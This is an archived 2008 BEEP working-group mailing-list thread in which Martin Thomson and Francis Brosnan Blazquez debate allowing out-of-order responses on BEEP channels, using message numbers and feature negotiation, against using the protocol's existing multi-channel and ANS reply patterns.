	for <beepwg@lists.beepcore.org>; Thu, 15 May 2008 23:59:49 -0700
Received: from andrew.com (smtp3.andrew.com [198.135.207.235])
	by ns1.media.org (8.14.2/8.14.2) with ESMTP id m4G6xeSh004631
	for <beepwg@lists.beepcore.org>; Thu, 15 May 2008 23:59:41 -0700 (PDT)
X-SEF-Processed: 5_0_0_910__2008_05_16_02_13_13
X-SEF-16EBA1E9-99E8-4E1D-A1CA-4971F5510AF: 1
Received: from acdcexbh1.andrew.com [10.86.20.91] by smtp3.andrew.com -
	SurfControl E-mail Filter (5.2.1); Fri, 16 May 2008 02:13:12 -0500
Received: from AHQEX1.andrew.com ([10.86.20.21]) by acdcexbh1.andrew.com with
	Microsoft SMTPSVC(6.0.3790.3959);	 Fri, 16 May 2008 01:59:11 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Date: Fri, 16 May 2008 01:59:05 -0500
Message-ID: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Asynchrony and BEEP
Thread-Index: Aci3IlRbQibWX0ZCTDCc57ZEnnHZLw==
From: "Thomson, Martin" <Martin.Thomson@andrew.com>
To: <beepwg@lists.beepcore.org>
X-OriginalArrivalTime: 16 May 2008 06:59:11.0055 (UTC)
	FILETIME=[57D72DF0:01C8B722]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m4G6xnbc002843
Subject: [BEEPwg] Asynchrony and BEEP
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 16 May 2008 06:59:50 -0000

Hi All,

Since the IETF WG wrapped up, this list seems to be fairly quiet, but I
have a technical matter I'd like to discuss.

I have an asynchronous application that needs a protocol.  Similar to
the experience of RFC 3117, I did a little research on protocols in the
hopes of finding one that fits (more or less).

Until recently, I was confident that BEEP provided all that I needed.
It turns out a fundamental assumption I had made was quite wrong
(there's a lesson in that).  I had assumed that the presence of a
message number that must be unique would mean that responses to messages
were correlated based on this number.  Someone recently pointed out
Section 2.6 of RFC 3080 that disabused me of this notion - channels are
entirely serial in each direction.

Having read more material on the subject, I'd like to describe the
problem that this presents.  I'd also like to discuss a possible
solution.

The application in question (location services) requires that any
protocol it uses scales well.  Our estimates predict a wide range of
usage rates, but at the upper end the rate could be something in the
order of 100s of requests per second.  However, throughput is not the
only concern.  Requests take varying amounts of time to be processed;
current estimates are anything from milliseconds to somewhere between 10
and 20 seconds.

Case study: an unnamed protocol [1] from the same field that uses an
HTTP binding.  Similar to the application I describe, this protocol
requests can take anywhere from milliseconds to minutes to process.
Since HTTP suffers from head-of-queue blocking, in order to get
reasonable throughput, more connections are opened.  There is a very
simple formula that determines how many connections you need:

  number of connections = average response time x rate of transactions

I probably don't need to go into the details, so suffice it to say that
this is somewhat inefficient.  Grossly inefficient.  Providing a system
that serves this many connections is tricky, even though there might be
more than sufficient processing capacity to service those requests (most
of the time is spent waiting, so this isn't as hard as it sounds).

Back in the land of BEEP, channels also exhibit head-of-queue blocking.
This implies that the same solution is necessary if high throughput is
required.  It's interesting to note that some APIs provide channel
pooling features [2].  The problem is much more manageable because
channels are much cheaper than connections, however they don't cost
nothing.  And I'm not talking about system resources, but also about
development effort and maintenance.  To add to the grief, a BEEP peer
need only support 256 channels, so asking for 10000 channels is probably
pushing it.

All of this would work much more smoothly if responses could be provided
out of order.  It turns out that there is no technical or protocol
reason that forces channels to be serial.  After reading through all the
relevant documentation (all the RFCs, the BEEP book), I haven't seen any
evidence that suggests a strong technical reason for making channels
this way.  The book draws an analogy between a channel and a thread,
which is convenient for explanation but doesn't provide any
justification.

I'd like to put message numbers to use for request-response correlation.
Message number as specified only provides a means of detecting protocol
errors.  This provides a second layer of defence against a buggy peer,
after the sequence number.  Message number is not, contrary to what is
implied, used to correlate response with request; correlation can be
done by relying on response ordering alone.

I toyed with the thought of a tuning profile that enabled asynchrony,
but that has the unfortunate drawback of affecting all channels.  In
some cases the serial nature of channels is desirable.

The current solution I favour is putting the unused 'features' attribute
from the BEEP greeting to work.  If both peers provide a feature list
that includes ``async'', then they may choose to create asynchronous
channels.  A channel that is created using ``<start number="3"
async="true">...'' [3] would not be subject to the reply ordering
constraint from Section 2.6.1 of RFC 3080.  Responses sent on that
channel would be matched to their requests by the message number.

I like BEEP.  It satisfies most of the requirements.  This one small
thing is all that it lacks.  I am willing to take this to the IETF, but
I want to get a feeling for what the BEEP community thinks of the
proposal.  Would this functionality be useful where you use BEEP?  Can
you see any technical shortcomings in this proposal?

Regards,
Martin 


~~
[1]
<http://www.openmobilealliance.org/Technical/release_program/mls_v1_1.as
px>

[2]
<http://www.aspl.es/fact/files/af-arch/vortex/html/group__vortex__channe
l__pool_ga7130833a4500c9647fd84ad21dc2093.html>

[3] This wouldn't be valid XML, by the strict terms of the
specification.  Since BEEP doesn't reference the DTD, BEEP control
messages aren't valid either, so the point is probably moot.  Since BEEP
doesn't use namespaces in XML, I can't see a better way to extend the
XML syntax. 

~~
------------------------------------------------------------------------------------------------
This message is for the designated recipient only and may
contain privileged, proprietary, or otherwise private information.  
If you have received it in error, please notify the sender
immediately and delete the original.  Any unauthorized use of
this email is prohibited.
------------------------------------------------------------------------------------------------
[mf2]


From francis@aspl.es Mon May 19 06:43:02 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m4JDh1qk030709
	for <beepwg@lists.beepcore.org>; Mon, 19 May 2008 06:43:02 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Jy5dM-00053D-00; Mon, 19 May 2008 15:42:36 +0200
Subject: Re: [BEEPwg] Asynchrony and BEEP
From: Francis Brosnan Blazquez <francis@aspl.es>
To: "Thomson, Martin" <Martin.Thomson@andrew.com>
In-Reply-To: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
References: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Mon, 19 May 2008 15:41:01 +0200
Message-Id: <1211204461.13660.91.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1Jy5dM-00053D-00*dtTo6JiDYqc*
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 19 May 2008 13:43:02 -0000

Hi Martin,

Assuming the set of details you provided, I think you are facing a
problem which is simple to solve using features already provided by
BEEP. Here is how:

- Create two channels, one to push jobs and one to receive jobs
finished. 

- The channel to push jobs use a MSG/RPY pattern. Once the listener
receive a job request (MSG), it is queued/handled as desired, but before
doing that, a RPY must be sent to acknowledge MSG reception.

- The channel that receive jobs finished issue an initial MSG to open
the possibility to receive ANS replies that carries jobs finished. Now,
each time the listener have a job finished he send it back as an ANS
reply to the MSG received on this channel. This will allow to send in
any order jobs as quickly as they are finished.

Now, I would like to comment some assertions you have done:

1) (Please see 3.4 and 4.1 of [1]) The technical reason to make
intra-channel processing to be serial is because it is the most widely
available request/response model in use today. Thus, it is required to
be represented in BEEP, mainly because people use it. You say it is used
in some cases (????) but it is by far the most popular model used in
connection oriented escenarios (like HTTP). 

However, what makes BEEP different, is that channel pipeline is *not*
the only one invocation model. You can use several channels or use
ANS/NUL replies semantic to implement independent exchanges.

Channel pipeline is a *core* BEEP feature, well understood and well
perceived by people using BEEP. What you are proposing is a protocol
change that have also consequences in what also makes BEEP different and
useful: how it is handled session close.

2) Saying channels suffer "head-of-line" is quite inexact. I believe a
protocol can suffer "head-of-line" when there is no alternative (like
HTTP). BEEP channels have several already available and well supported
invocation options to specifically avoid "head-of-line". 

3) Maybe this could change in the future, but at this moment, features
and profiles can only extend BEEP function giving semantic but never to
modify base BEEP protocol defined at RFC3080 (maybe I'm wrong but I
believe this is the essence).

4) Message number is not only used for protocol errors, but also to give
the notion of unique and identificable transaction (which is, again,
commonly required), and to allow APIs to reply to a particular message. 

Cheers,

[1] http://www.rfc-editor.org/rfc/rfc3117.txt
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From Martin.Thomson@andrew.com Tue May 20 23:10:59 2008
Received: from ns1.media.org (ns1.media.org [192.101.98.127])
	m4L6AwJh005557
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <beepwg@lists.beepcore.org>; Tue, 20 May 2008 23:10:58 -0700
Received: from andrew.com (smtp3.andrew.com [198.135.207.235])
	by ns1.media.org (8.14.2/8.14.2) with ESMTP id m4L6AnDK010260
	for <beepwg@lists.beepcore.org>; Tue, 20 May 2008 23:10:50 -0700 (PDT)
X-SEF-Processed: 5_0_0_910__2008_05_21_01_24_17
X-SEF-16EBA1E9-99E8-4E1D-A1CA-4971F5510AF: 1
Received: from acdcexbh1.andrew.com [10.86.20.91] by smtp3.andrew.com -
	SurfControl E-mail Filter (5.2.1); Wed, 21 May 2008 01:24:17 -0500
Received: from AHQEX1.andrew.com ([10.86.20.21]) by acdcexbh1.andrew.com with
	Microsoft SMTPSVC(6.0.3790.3959);	 Wed, 21 May 2008 01:10:09 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Subject: RE: [BEEPwg] Asynchrony and BEEP
Date: Wed, 21 May 2008 01:09:57 -0500
Message-ID: <E51D5B15BFDEFD448F90BDD17D41CFF104551B28@AHQEX1.andrew.com>
In-Reply-To: <1211204461.13660.91.camel@vulcan.aspl>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] Asynchrony and BEEP
Thread-Index: Aci5tkHSCYhJl8aPRyWdeLMf5O08GwBTeRsQ
References: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
	<1211204461.13660.91.camel@vulcan.aspl>
From: "Thomson, Martin" <Martin.Thomson@andrew.com>
To: "Francis Brosnan Blazquez" <francis@aspl.es>
X-OriginalArrivalTime: 21 May 2008 06:10:09.0569 (UTC)
	FILETIME=[52A4C910:01C8BB09]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m4L6AwJh005557
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 21 May 2008 06:10:59 -0000

Hi Francis,

Thanks for the response.

I am taking an existing protocol and binding it to BEEP.  Using two
separate channels in the fashion you describe is only possible if I
wanted to (or was able to) change the protocol payload.  Currently, the
protocol is bound to HTTP.  The idea was to move to BEEP to allow for
increased throughput.  However, the method you suggest requires that
request/response correlation is performed at a higher layer than BEEP.
This either requires modification of the application protocol, or
insertion of another protocol layer.  This is either infeasible or
unpalatable.

As far as your comments go, I had a little trouble correlating each
comment with my original statements.  Apologies if I've misinterpreted
anything you've said.  I'll reply inline below.

Francis Brosnan Blazquez:
>
> Now, I would like to comment some assertions you have done:
> 
> 1) (Please see 3.4 and 4.1 of [1]) The technical reason to make
> intra-channel processing to be serial is because it is the most widely
> available request/response model in use today. Thus, it is required to
> be represented in BEEP, mainly because people use it. You say it is
> used
> in some cases (????) but it is by far the most popular model used in
> connection oriented escenarios (like HTTP).
> 
> However, what makes BEEP different, is that channel pipeline is *not*
> the only one invocation model. You can use several channels or use
> ANS/NUL replies semantic to implement independent exchanges.
 
In response to 1) I'd say that your reason is not technical at all.  I
have no problem with someone making the decision to be serial and for
the reason to be no more than personal preference.  As for the rest, see
my above comments.

> Channel pipeline is a *core* BEEP feature, well understood and well
> perceived by people using BEEP. What you are proposing is a protocol
> change that have also consequences in what also makes BEEP different
> and
> useful: how it is handled session close.

I examined this in some detail - there is no change required to how a
close is handled.  A peer is expected to wait until all outstanding
requests are complete before responding to a close request for each
channel.  Session/connection close is rejected when there are open
channels.  Neither would need to change if full asynchrony were enabled.

> 2) Saying channels suffer "head-of-line" is quite inexact. I believe a
> protocol can suffer "head-of-line" when there is no alternative (like
> HTTP). BEEP channels have several already available and well supported
> invocation options to specifically avoid "head-of-line".

I'll restate: an individual BEEP channel suffers head-of-line in the
same way that an individual HTTP connection suffers head-of-line.  The
same workarounds apply to each.  For instance, I've seen your suggested
workaround standardized for an HTTP application.

You could consider this misleading, so I'll qualify the statement: BEEP
is less crippled by this for a number of reasons.  A BEEP channel is
more lightweight than a TCP connection and you are less susceptible to
problems like intermediate NAT.
 
> 3) Maybe this could change in the future, but at this moment, features
> and profiles can only extend BEEP function giving semantic but never
to
> modify base BEEP protocol defined at RFC3080 (maybe I'm wrong but I
> believe this is the essence).

The IANA registry lists no features, so it is hard to make any statement
about what can (or can't) be achieved with them.

If you never need to rely on modified/extended RFC 3080 behaviour,
profiles could do everything you could want to do.  Logically then,
features are reserved for where the base 3080/3081 specifications come
up short and something extra is needed; something that a profile can't
do, like changing or adding to control channel message semantics.

> 4) Message number is not only used for protocol errors, but also to
> give
> the notion of unique and identificable transaction (which is, again,
> commonly required), and to allow APIs to reply to a particular
message.

If message number was removed from the specification, BEEP would still
work.  Replies must be provided in the same order that the requests were
made.  Request/response correlation can be performed entirely through
message ordering.  Therefore, message number is entirely redundant.
Beep4j (the API I am most familiar with) doesn't even look at the
message number for replies, except when checking for protocol errors. 
------------------------------------------------------------------------------------------------
This message is for the designated recipient only and may
contain privileged, proprietary, or otherwise private information.  
If you have received it in error, please notify the sender
immediately and delete the original.  Any unauthorized use of
this email is prohibited.
------------------------------------------------------------------------------------------------
[mf2]


From francis@aspl.es Wed May 21 14:49:45 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m4LLninq032360
	for <beepwg@lists.beepcore.org>; Wed, 21 May 2008 14:49:45 -0700
Received: from 125.red-88-27-103.staticip.rima-tde.net ([88.27.103.125]
	helo=tot.home)	by dolphin.aspl.es with asmtp (ASPL Mail Server XP#1)
	id 1JywBW-0000v0-00; Wed, 21 May 2008 23:49:22 +0200
Subject: RE: [BEEPwg] Asynchrony and BEEP
From: Francis Brosnan Blazquez <francis@aspl.es>
To: "Thomson, Martin" <Martin.Thomson@andrew.com>
In-Reply-To: <E51D5B15BFDEFD448F90BDD17D41CFF104551B28@AHQEX1.andrew.com>
References: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
	 <1211204461.13660.91.camel@vulcan.aspl>
	 <E51D5B15BFDEFD448F90BDD17D41CFF104551B28@AHQEX1.andrew.com>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Wed, 21 May 2008 23:47:47 +0200
Message-Id: <1211406467.31867.63.camel@tot.home>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.1 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1JywBW-0000v0-00*6OfJiLIXqPE*
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
Reply-To: francis@aspl.es
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 21 May 2008 21:49:45 -0000

> Hi Francis,

Hi Martin,

> Thanks for the response.
> 
> I am taking an existing protocol and binding it to BEEP.  Using two
> separate channels in the fashion you describe is only possible if I
> wanted to (or was able to) change the protocol payload.  Currently,
> the
> protocol is bound to HTTP.  The idea was to move to BEEP to allow for
> increased throughput.  However, the method you suggest requires that
> request/response correlation is performed at a higher layer than BEEP.
> This either requires modification of the application protocol, or
> insertion of another protocol layer.  This is either infeasible or
> unpalatable.

Certainly. Maybe you can use a MIME header to flag the payload with a
transaction number.

> As far as your comments go, I had a little trouble correlating each
> comment with my original statements.  Apologies if I've misinterpreted
> anything you've said.  I'll reply inline below.

Ok.

> Francis Brosnan Blazquez:
> >
> > Now, I would like to comment some assertions you have done:
> > 
> > 1) (Please see 3.4 and 4.1 of [1]) The technical reason to make
> > intra-channel processing to be serial is because it is the most
> widely
> > available request/response model in use today. Thus, it is required
> to
> > be represented in BEEP, mainly because people use it. You say it is
> > used
> > in some cases (????) but it is by far the most popular model used in
> > connection oriented escenarios (like HTTP).
> > 
> > However, what makes BEEP different, is that channel pipeline is
> *not*
> > the only one invocation model. You can use several channels or use
> > ANS/NUL replies semantic to implement independent exchanges.
>  
> In response to 1) I'd say that your reason is not technical at all.  I
> have no problem with someone making the decision to be serial and for
> the reason to be no more than personal preference.  As for the rest,
> see
> my above comments.

Ok. Looking at the request/response model as a natural evolution from
the local function invocation, it is clear that order matter.

You invoke the function/service looking for some result/resource, which,
with great probabilities will be used for next invocations, or to stop
current flow if an error occur. That's why you need the serial nature
(and the reason why it is widely present in other protocols). 

More than a technical reason, I see an implementation issue. Most of
languages used to write networked applications do it by invoking
functions in order and according to the results they perform. 

Now, moving the focus to the other side. Assuming an our of order
scenario, this will require the caller to push its request into
something like a pool of pending request, and to poll frequently if the
request was satisfied. I don't know how do you see this, but I found
quite complex and unnatural to make it as the default behaviour, not
only in BEEP, but in any connection oriented protocol.

More than a technical reason, I find here a practical implementation
decision.

> > Channel pipeline is a *core* BEEP feature, well understood and well
> > perceived by people using BEEP. What you are proposing is a protocol
> > change that have also consequences in what also makes BEEP different
> > and
> > useful: how it is handled session close.
> 
> I examined this in some detail - there is no change required to how a
> close is handled.  A peer is expected to wait until all outstanding
> requests are complete before responding to a close request for each
> channel.  Session/connection close is rejected when there are open
> channels.  Neither would need to change if full asynchrony were
> enabled.

Again, this is a implementation issue which is not considering practical
consequences for a BEEP stack. 

Currently, an easy approach for a BEEP stack is to have the
last_{replied,received,etc} value to guide the connection close process,
which involves all channels opened at the moment. 

Your proposal will cause that all channels over all connections to have
to keep track of virtually 2^31 items (either because they are missing
or because there were received). This applies not only to messages
pending, but for pending replies.

> > 2) Saying channels suffer "head-of-line" is quite inexact. I believe
> a
> > protocol can suffer "head-of-line" when there is no alternative
> (like
> > HTTP). BEEP channels have several already available and well
> supported
> > invocation options to specifically avoid "head-of-line".
> 
> I'll restate: an individual BEEP channel suffers head-of-line in the
> same way that an individual HTTP connection suffers head-of-line.  The
> same workarounds apply to each.  For instance, I've seen your
> suggested
> workaround standardized for an HTTP application.
> 
> You could consider this misleading, 

Certainly...

> so I'll qualify the statement: BEEP
> is less crippled by this for a number of reasons.  A BEEP channel is
> more lightweight than a TCP connection and you are less susceptible to
> problems like intermediate NAT.

... this is not the point.

> > 3) Maybe this could change in the future, but at this moment,
> features
> > and profiles can only extend BEEP function giving semantic but never
> to
> > modify base BEEP protocol defined at RFC3080 (maybe I'm wrong but I
> > believe this is the essence).
> 
> The IANA registry lists no features, so it is hard to make any
> statement
> about what can (or can't) be achieved with them.

Ok, but BEEP isn't a special case. As other RFCs, most of
changes/extensions I've found, they were done in a way previous
implementations remains working. A particular interesting case is MIME
(See historical note, page 3, from RFC2045).

> If you never need to rely on modified/extended RFC 3080 behaviour,
> profiles could do everything you could want to do.  Logically then,
> features are reserved for where the base 3080/3081 specifications come
> up short and something extra is needed; something that a profile can't
> do, like changing or adding to control channel message semantics.

Ok.

> > 4) Message number is not only used for protocol errors, but also to
> > give
> > the notion of unique and identificable transaction (which is, again,
> > commonly required), and to allow APIs to reply to a particular
> message.
> 
> If message number was removed from the specification, BEEP would still
> work.  Replies must be provided in the same order that the requests
> were
> made.  Request/response correlation can be performed entirely through
> message ordering.  Therefore, message number is entirely redundant.
> Beep4j (the API I am most familiar with) doesn't even look at the
> message number for replies, except when checking for protocol
> errors.  

I don't agree. In fact the limitation for replying in order only applies
to BEEP internal function. 

User application on top of a BEEP stack should be able to reply in any
other (another question is that the reply may be retained until
condition is meet, but definitely this should be handled by the BEEP
implemetation). 

Again, this is an implementation issue which is not considering
practical consequences. 

An API not allowing to reply to a particular message using a particular
msgno is causing to shift the logic of keeping track about the moment a
reply can be done from the BEEP stack into the user application. That
is, the application on top of such stack will have to ask the API "can I
reply?"; if not, the application will have to store the reply for later
delivery. I find this quite problematic.

Cheers!

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From Martin.Thomson@andrew.com Wed May 21 17:43:31 2008
Received: from ns1.media.org (ns1.media.org [192.101.98.127])
	m4M0hOla003632
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <beepwg@lists.beepcore.org>; Wed, 21 May 2008 17:43:24 -0700
Received: from andrew.com (smtp3.andrew.com [198.135.207.235])
	by ns1.media.org (8.14.2/8.14.2) with ESMTP id m4M0hCXG028370
	for <beepwg@lists.beepcore.org>; Wed, 21 May 2008 17:43:18 -0700 (PDT)
X-SEF-Processed: 5_0_0_910__2008_05_21_19_56_30
X-SEF-16EBA1E9-99E8-4E1D-A1CA-4971F5510AF: 1
Received: from acdcexbh1.andrew.com [10.86.20.91] by smtp3.andrew.com -
	SurfControl E-mail Filter (5.2.1); Wed, 21 May 2008 19:56:30 -0500
Received: from AHQEX1.andrew.com ([10.86.20.21]) by acdcexbh1.andrew.com with
	Microsoft SMTPSVC(6.0.3790.3959);	 Wed, 21 May 2008 19:42:18 -0500
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Subject: RE: [BEEPwg] Asynchrony and BEEP
Date: Wed, 21 May 2008 19:42:19 -0500
Message-ID: <E51D5B15BFDEFD448F90BDD17D41CFF1045A4CD6@AHQEX1.andrew.com>
In-Reply-To: <1211406467.31867.63.camel@tot.home>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] Asynchrony and BEEP
Thread-Index: Aci7jJFTiRKMwFbKSRKigdjG8I3zywADaRGg
References: <E51D5B15BFDEFD448F90BDD17D41CFF104550E14@AHQEX1.andrew.com>
	<1211204461.13660.91.camel@vulcan.aspl>
	<E51D5B15BFDEFD448F90BDD17D41CFF104551B28@AHQEX1.andrew.com>
	<1211406467.31867.63.camel@tot.home>
From: "Thomson, Martin" <Martin.Thomson@andrew.com>
To: <francis@aspl.es>
X-OriginalArrivalTime: 22 May 2008 00:42:18.0290 (UTC)
	FILETIME=[B00F9120:01C8BBA4]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m4M0hOla003632
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 22 May 2008 00:43:31 -0000

More inline,

> 
> Ok. Looking at the request/response model as a natural evolution from
> the local function invocation, it is clear that order matter.
> 
> You invoke the function/service looking for some result/resource,
> which,
> with great probabilities will be used for next invocations, or to stop
> current flow if an error occur. That's why you need the serial nature
> (and the reason why it is widely present in other protocols).
> 
> More than a technical reason, I see an implementation issue. Most of
> languages used to write networked applications do it by invoking
> functions in order and according to the results they perform.

Debating the advantages of serial processing, while entertaining, isn't
relevant to the discussion.  I am putting forward a different use case.

I'm not attempting to invalidate serial processing; far from that.  I am
only pointing out that it isn't always the best approach.

> Now, moving the focus to the other side. Assuming an our of order
> scenario, this will require the caller to push its request into
> something like a pool of pending request, and to poll frequently if
the
> request was satisfied. I don't know how do you see this, but I found
> quite complex and unnatural to make it as the default behaviour, not
> only in BEEP, but in any connection oriented protocol.
> 
> More than a technical reason, I find here a practical implementation
> decision.

I don't see how polling is necessary - I have implemented out of order
receipt of messages in beep4j with a change of only about 5 lines of
code without a need for polling.

> >
> > I examined this in some detail - there is no change required to how
a
> > close is handled.  A peer is expected to wait until all outstanding
> > requests are complete before responding to a close request for each
> > channel.  Session/connection close is rejected when there are open
> > channels.  Neither would need to change if full asynchrony were
> > enabled.
> 
> Again, this is a implementation issue which is not considering
> practical
> consequences for a BEEP stack.
> 
> Currently, an easy approach for a BEEP stack is to have the
> last_{replied,received,etc} value to guide the connection close
> process,
> which involves all channels opened at the moment.
> 
> Your proposal will cause that all channels over all connections to
have
> to keep track of virtually 2^31 items (either because they are missing
> or because there were received). This applies not only to messages
> pending, but for pending replies.

That's not the case.  The number of items that would need to be tracked
is exactly the same number as the number of channels required if channel
pooling were used:

  N = number of requests each section * average time required to process
requests.

No matter what protocol option you choose, the state maintained at the
serving peer doesn't change - it still has to process all those
requests.  Therefore, tracking is only necessary at the requesting end.
Of course, it would also be reasonable to place an upper bound on the
total number of outstanding request.  New requests could block or be
rejected locally when this limit is reached.

<snip>

> >
> > The IANA registry lists no features, so it is hard to make any
> > statement
> > about what can (or can't) be achieved with them.
> 
> Ok, but BEEP isn't a special case. As other RFCs, most of
> changes/extensions I've found, they were done in a way previous
> implementations remains working. A particular interesting case is MIME
> (See historical note, page 3, from RFC2045).

Feature negotiation guarantees that backward compatibility is retained.
Unless both peers understand (and accept) the changed functionality,
nothing different happens.  No "baroque" mechanisms or other strangeness
would be necessary.
 
> > > 4) Message number is not only used for protocol errors, but also
to
> > > give
> > > the notion of unique and identificable transaction (which is,
> again,
> > > commonly required), and to allow APIs to reply to a particular
> > message.
> >
> > If message number was removed from the specification, BEEP would
> still
> > work.  Replies must be provided in the same order that the requests
> > were
> > made.  Request/response correlation can be performed entirely
through
> > message ordering.  Therefore, message number is entirely redundant.
> > Beep4j (the API I am most familiar with) doesn't even look at the
> > message number for replies, except when checking for protocol
> > errors.
> 
> I don't agree. In fact the limitation for replying in order only
> applies
> to BEEP internal function.

I think that you have missed my point.

How an API tracks message number is not really relevant to the
discussion.

Regardless of what the replying peer does, the requesting peer sees all
replies in the same order as the requests it sent.  Request/response
correlation can be performed by matching the order of replies to the
order of requests.  Therefore, the message number is not useful for
anything other than error detection.

> User application on top of a BEEP stack should be able to reply in any
> other (another question is that the reply may be retained until
> condition is meet, but definitely this should be handled by the BEEP
> implemetation).

I'll agree.  But that's purely an implementation consideration.  Of
course, allowing this makes the API implementation more complex.  A
complexity that wouldn't be necessary if out of order responses were
allowed.  Interesting data point: beep4j doesn't enforce ordering of
replies at the replying peer; it's actually easier this way.

> Again, this is an implementation issue which is not considering
> practical consequences.
> 
> An API not allowing to reply to a particular message using a
particular
> msgno is causing to shift the logic of keeping track about the moment
a
> reply can be done from the BEEP stack into the user application. That
> is, the application on top of such stack will have to ask the API "can
> I
> reply?"; if not, the application will have to store the reply for
later
> delivery. I find this quite problematic.

No tracking would be necessary if out of order responses were allowed.
